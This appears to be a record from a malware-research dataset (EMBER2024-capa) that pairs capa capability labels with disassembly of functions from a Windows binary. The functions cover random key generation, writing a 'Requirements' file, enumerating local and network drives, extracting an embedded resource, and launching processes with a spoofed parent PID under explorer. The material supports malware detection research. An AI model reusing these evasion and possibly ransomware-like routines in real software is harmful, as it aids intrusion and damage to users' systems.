joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4151a0
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c7c5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x4551c4
call fcn.0041edf0
add esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
push 0x28
call fcn.0041f1f5
mov edi, eax
xorps xmm0, xmm0
add esp, 4
mov dword [ebp - 0x40], edi
lea esi, [edi + 0x28]
movups xmmword [edi], xmm0
mov dword [ebp - 0x24], esi
movups xmmword [edi + 0x10], xmm0
mov dword [ebp - 0x38], esi
movq qword [edi + 0x20], xmm0
mov dword [ebp - 0x3c], esi
push 0xf0000040
push 1
push 0
push 0
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 1
push eax
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov ecx, eax
mov dword [ebp - 0x20], ecx
test ecx, ecx
je 0x415264
mov eax, esi
push edi
sub eax, edi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x415274
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
cmp dword [ebp - 0x20], 0
je 0x41535e
mov eax, esi
mov dword [ebp - 0x34], 0
sub eax, edi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], eax
je 0x4152cb
cmp eax, 0x7fffffff
ja 0x4153d4
push eax
lea ecx, [ebp - 0x34]
call fcn.00408a60
push dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
push edi
push esi
call fcn.00420910
mov eax, dword [ebp - 0x20]
add esp, 0xc
add eax, esi
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 2
mov ecx, 0x44eadc
call fcn.00412570
mov ecx, dword [ebp - 0x34]
test eax, eax
je 0x41532d
mov eax, dword [ebp - 0x30]
sub eax, ecx
cmp eax, 0x100
jne 0x41532d
push dword [0x4551c0]
push str.___Generated_new_key__i_n
call fcn.00401db0
add esp, 8
lea eax, [ebp - 0x40]
mov ecx, 0x4551c8
push eax
call fcn.00412830
lea eax, [ebp - 0x34]
mov ecx, 0x4551d4
push eax
call fcn.00412830
inc dword [0x4551c0]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x34]
test ecx, ecx
je 0x41535e
mov edx, dword [ebp - 0x2c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x415354
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4153d9
push edx
push ecx
call fcn.0041f22a
add esp, 8
test edi, edi
je 0x4153b3
sub esi, edi
mov eax, edi
cmp esi, 0x1000
jb 0x41537e
mov edi, dword [eax - 4]
add esi, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4153d9
push esi
push edi
call fcn.0041f22a
add esp, 8
jmp 0x4153b3
push 0x4551c4
call fcn.0041ee0c
mov ecx, dword [ebp - 0xc]
add esp, 4
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00405400
call fcn.0042b82f
int3
Function at 0x415460
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, ecx
test esi, esi
je 0x41559f
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x415476
mov eax, dword [esi]
push eax
push str.____Requirements_create:__s_n
call fcn.00401db0
add esp, 8
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x41548e
mov eax, dword [esi]
push edi
push 0
push 0x80
push 1
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x41552c
cmp dword [0x44ea90], 0x10
lea eax, [esp + 8]
push 0
push eax
push dword [0x44ea8c]
mov ecx, 0x44ea7c
mov dword [esp + 0x14], 0
cmovae ecx, dword [0x44ea7c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x415504
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x4154ed
mov eax, dword [esi]
push eax
push str.___Requirements_created:__s_n
call fcn.00401db0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41554b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x415514
mov ecx, dword [esi]
push eax
push ecx
push str.____Requirements_file_fail_to_write:__s__error:_0x_X_n
call fcn.00401db0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41554b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x41553c
mov ecx, dword [esi]
push eax
push ecx
push str.____CreateFile0:__s__0x_X_n
call fcn.00401db0
add esp, 0xc
mov ecx, dword [esi + 0x14]
pop edi
cmp ecx, 8
jb 0x415581
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x415577
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4155a2
mov eax, edx
push ecx
push eax
call fcn.0041f22a
add esp, 8
xor eax, eax
mov dword [esi + 0x10], 0
push 0x18
push esi
mov dword [esi + 0x14], 7
mov word [esi], ax
call fcn.0041f22a
add esp, 8
pop esi
pop ecx
ret
call fcn.0042b82f
int3
Function at 0x4199a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43cb30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x10], esi
push edi
movq qword [esi], xmm0
push 0x14
mov dword [ebp - 4], 0
call fcn.0041f1f5
mov dword [eax], 1
mov dword [eax + 4], 2
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
mov dword [esi + 8], eax
push 4
mov byte [ebp - 4], 1
call fcn.0041f1f5
mov ecx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov dword [eax], ecx
lea edi, [esi + 4]
mov byte [ebp - 4], 2
push edi
push 0
push eax
push 0x41b3c0
push 0
push 0
call fcn.0042c7b3
add esp, 0x20
mov dword [esi], eax
test eax, eax
je 0x419a45
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push 6
mov dword [edi], 0
call fcn.0041edb6
int3

Function at 0x419a60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43cb6f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x10], edi
movq qword [edi], xmm0
push 0x14
mov dword [ebp - 4], 0
call fcn.0041f1f5
mov dword [eax], 1
mov dword [eax + 4], 2
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
mov dword [edi + 8], eax
push 0x1c
mov byte [ebp - 4], 1
call fcn.0041f1f5
mov esi, eax
add esp, 8
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 2
mov ecx, esi
push dword [ebp + 0xc]
call fcn.00401fb0
mov eax, dword [ebp + 8]
mov dword [esi + 0x18], eax
mov dword [ebp + 0xc], esi
lea ebx, [edi + 4]
mov byte [ebp - 4], 3
push ebx
push 0
push esi
push 0x41b470
push 0
push 0
call fcn.0042c7b3
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x419b1e
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
push 6
mov dword [ebx], 0
call fcn.0041edb6
int3

Function at 0x419b30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43cb6f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x10], edi
movq qword [edi], xmm0
push 0x14
mov dword [ebp - 4], 0
call fcn.0041f1f5
mov dword [eax], 1
mov dword [eax + 4], 2
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
mov dword [edi + 8], eax
push 0x1c
mov byte [ebp - 4], 1
call fcn.0041f1f5
mov esi, eax
add esp, 8
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 2
mov ecx, esi
push dword [ebp + 0xc]
call fcn.00401fb0
mov dword [esi + 0x18], 0x416b30
mov dword [ebp + 0xc], esi
lea ebx, [edi + 4]
mov byte [ebp - 4], 3
push ebx
push 0
push esi
push 0x41b470
push 0
push 0
call fcn.0042c7b3
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x419bef
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
push 6
mov dword [ebx], 0
call fcn.0041edb6
int3
Function at 0x41b5e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43cc55
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
lea eax, [esi + 0xc]
mov dword [esi], vtable.std::_Associated_state_unsigned_long_int_.0
push eax
mov dword [esi + 4], 1
call fcn.0041e13f
lea eax, [esi + 0x14]
push 2
push eax
call fcn.0041f06b
lea eax, [esi + 0x44]
push eax
call fcn.0041eb8c
mov byte [esi + 0x6c], 0
mov dword [esi + 0x70], 0
mov word [esi + 0x74], 0
mov byte [esi + 0x76], 0
mov dword [esi + 0x78], 0
mov dword [ebp - 4], 0
lea edi, [esi + 0x80]
mov dword [esi], vtable.std::_Packaged_state_unsigned_long_int____cdecl___void__.0
mov dword [ebp - 0x14], edi
mov dword [edi + 0x24], 0
push 0x48
mov byte [ebp - 4], 1
call fcn.0041f1f5
mov esi, dword [ebp + 8]
add esp, 0x14
mov dword [eax], 0x4473e4
movups xmm0, xmmword [esi]
movups xmmword [eax + 8], xmm0
mov ecx, dword [esi + 0x10]
mov dword [eax + 0x18], ecx
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], edx
mov ecx, dword [esi + 0x20]
mov dword [eax + 0x28], ecx
mov ecx, dword [esi + 0x28]
mov dword [eax + 0x30], ecx
mov ecx, dword [esi + 0x30]
mov dword [eax + 0x38], ecx
mov cl, byte [esi + 0x38]
mov byte [eax + 0x40], cl
mov ecx, dword [ebp - 0xc]
mov dword [edi + 0x24], eax
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x41c170
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43cd96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push esi
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 0
push edi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edx, eax
xor edi, edi
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov eax, 1
mov ecx, edi
shl eax, cl
test edx, eax
je 0x41c320
push 2
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
push 0x447540
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x30], xmm0
call fcn.00401ed0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
cmovae eax, dword [ebp - 0x30]
add word [eax], di
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
cmovae eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
je 0x41c23f
cmp eax, 3
je 0x41c23f
cmp eax, 6
jne 0x41c2e3
mov ecx, dword [ebp - 0x20]
mov eax, 0x7ffffffe
sub eax, ecx
cmp eax, 4
jb 0x41c33c
cmp dword [ebp - 0x1c], 8
lea eax, [ebp - 0x30]
push ecx
cmovae eax, dword [ebp - 0x30]
push eax
push 4
push 0x447500
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x48]
call fcn.00419fd0
or dword [ebp - 0x14], 2
mov ecx, dword [ebp - 0x1c]
cmp ecx, 8
jb 0x41c2b0
mov edx, dword [ebp - 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c2a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c341
push ecx
push edx
call fcn.0041f22a
add esp, 8
movups xmm0, xmmword [ebp - 0x48]
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x30]
push ecx
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [ebp - 0x38]
movq qword [ebp - 0x20], xmm0
cmp eax, dword [esi + 8]
je 0x41c2db
mov ecx, eax
call fcn.00401fb0
add dword [esi + 4], 0x18
jmp 0x41c2e3
push eax
mov ecx, esi
call fcn.0041d480
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1c]
cmp ecx, 8
jb 0x41c31d
mov edx, dword [ebp - 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c313
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c341
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov edx, dword [ebp - 0x10]
inc edi
cmp edi, 0x1a
jb 0x41c1d0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.00401740
call fcn.0042b82f
int3
Function at 0x41c350
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43cdde
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x848
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x2c], 0
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], 1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edx, eax
xor esi, esi
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov eax, 1
mov ecx, esi
shl eax, cl
test edx, eax
je 0x41c534
push 2
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push 0x447540
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
call fcn.00401ed0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
add word [eax], si
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 4
jne 0x41c4f7
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x854]
mov dword [ebp - 0x30], 0x404
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.MPR.dll_WNetGetConnectionW]
test eax, eax
jne 0x41c4e9
mov dword [ebp - 0x38], eax
xorps xmm0, xmm0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x854]
movups xmmword [ebp - 0x48], xmm0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x41c457
sub eax, edx
lea ecx, [ebp - 0x48]
sar eax, 1
push eax
lea eax, [ebp - 0x854]
push eax
call fcn.00401ed0
mov byte [ebp - 4], 2
mov eax, dword [edi + 4]
cmp eax, dword [edi + 8]
je 0x41c4a4
movups xmm0, xmmword [ebp - 0x48]
mov ecx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x38]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [edi + 4], 0x18
mov word [ebp - 0x48], ax
jmp 0x41c4b3
lea ecx, [ebp - 0x48]
push ecx
push eax
mov ecx, edi
call fcn.0040b180
mov ecx, dword [ebp - 0x34]
mov byte [ebp - 4], 1
cmp ecx, 8
jb 0x41c4f7
mov edx, dword [ebp - 0x48]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c4e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c550
push ecx
push edx
call fcn.0041f22a
jmp 0x41c4f4
push eax
push str.____WNetGetConnection_failed_0x_X_n
call fcn.00401db0
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x41c531
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c527
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c550
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov edx, dword [ebp - 0x10]
inc esi
cmp esi, 0x1a
jb 0x41c3b0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.0042b82f
int3
Function at 0x41c960
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43cdfd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, ecx
push 0x65
push str.____Get_resource_with_id__i_and_type__s..._n
mov dword [ebp - 0x1c], ebx
call fcn.00401db0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
je 0x41cad2
push dword [ebp + 8]
push 0x65
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x41cad2
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41cad2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x41cad2
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
xor ecx, ecx
mov dword [ebp - 0x10], eax
xor edi, edi
mov dword [ebp - 0x14], ecx
xor esi, esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], ecx
test eax, eax
je 0x41ca30
cmp eax, 0x7fffffff
ja 0x41cb0f
push eax
lea ecx, [ebp - 0x2c]
call fcn.00408a60
mov esi, dword [ebp - 0x10]
push esi
push edi
mov edi, dword [ebp - 0x2c]
push edi
call fcn.00420e90
mov ecx, dword [ebp - 0x24]
add esp, 0xc
add esi, edi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], esi
sub esi, edi
mov dword [ebp - 4], 0
push esi
push dword [ebp - 0x18]
mov dword [ebp - 0x10], esi
push edi
call fcn.00420910
mov byte [ebx], 1
add esp, 0xc
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
test esi, esi
je 0x41ca92
cmp esi, 0x7fffffff
ja 0x41cb14
push esi
lea ecx, [ebx + 4]
call fcn.00408a60
push dword [ebp - 0x10]
mov esi, dword [ebx + 4]
push edi
push esi
call fcn.00420910
mov eax, dword [ebp - 0x10]
add esp, 0xc
add eax, esi
mov dword [ebx + 8], eax
test edi, edi
je 0x41cafc
mov ecx, dword [ebp - 0x14]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x41cab5
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41cb19
push ecx
push edi
call fcn.0041f22a
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
push 0x65
push str.____Resource_with_id__i_and_type__s_not_found_n
call fcn.00401db0
mov byte [ebx], 0
add esp, 0xc
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.00405400
call fcn.00405400
call fcn.0042b82f
int3
Function at 0x41cb20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x70
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push str.____Run_sync_command:__s_n
call fcn.00401db0
push 0x40
lea eax, [esp + 0x38]
mov dword [esp + 0x34], 0x44
push 0
push eax
call fcn.00420e90
add esp, 0x14
lea ecx, [esp + 0x10]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
xorps xmm0, xmm0
cmovae eax, dword [ebp + 8]
push ecx
lea ecx, [esp + 0x2c]
movaps xmmword [esp + 0x14], xmm0
push ecx
push 0
push 0
push 0x200
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x41cbb8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp + 8]
push eax
cmovae ecx, dword [ebp + 8]
push ecx
push str.____Failed_to_run_sync_command:__s__error_0x_X_n
call fcn.00401db0
add esp, 0xc
mov byte [esp + 0xf], 0
jmp 0x41cbd1
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0xf], 1
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x41cc07
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41cbfd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41cc0f
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov al, byte [esp + 0xf]
mov esp, ebp
pop ebp
ret
call fcn.0042b82f
int3
Function at 0x41cf70
Capabilities:
Create process on windows
Create process suspended
Get explorer pid
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c8ad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
cmovae eax, dword [ebp + 8]
push eax
push str.____RunNonElevated:__s_n
call fcn.00401db0
add esp, 8
call dword [sym.imp.USER32.dll_GetShellWindow]
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x18]
push 0
push 0x80
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push 0
call esi
push dword [ebp - 0x10]
call fcn.0041f238
add esp, 4
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push edi
call esi
push 0
push 0
push 4
lea eax, [ebp - 0x14]
push eax
push 0x20000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x2c], edi
push ecx
push 0
push 0
push 0x80010
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0x48
push 0
lea eax, [ebp + 8]
movlpd qword [ebp - 0x6c], xmm0
cmovae eax, dword [ebp + 8]
push 0
push eax
push 0
movlpd qword [ebp - 0x64], xmm0
movlpd qword [ebp - 0x5c], xmm0
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebx, eax
test ebx, ebx
jne 0x41d09a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp + 8]
push eax
cmovae ecx, dword [ebp + 8]
push ecx
push str.____Failed_to_RunNonElevated:__s__error_0x_X_n
call fcn.00401db0
add esp, 0xc
push dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x24]
call esi
push edi
call fcn.0041f1f0
add esp, 4
push dword [ebp - 0x14]
call esi
mov ecx, dword [ebp + 0x1c]
test ebx, ebx
setne bl
cmp ecx, 8
jb 0x41d0f3
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41d0e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d106
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.0042b82f
int3

Function at 0x41d787
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0041d763
pop esi
leave
ret 8
Function at 0x41ff2c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41ff6b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ff6b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ff6b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41ff6b
cmp dword [ecx + 0x74], 0xe
jbe 0x41ff6b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x430542
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4420cc
push 0x4420c4
push str.FlsAlloc
push 0x1f
call fcn.004303c1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x430576
push dword [ebp + 8]
mov ecx, esi
call dword [0x43e2d0]
call esi
jmp 0x43057c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4305c0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4420dc
push 0x4420d4
push str.FlsGetValue
push 0x21
call fcn.004303c1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4305f7
push dword [ebp + 8]
mov ecx, esi
call dword [0x43e2d0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4305ff
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4420e4
push 0x4420dc
push str.FlsSetValue
push 0x22
call fcn.004303c1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x430639
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x43e2d0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]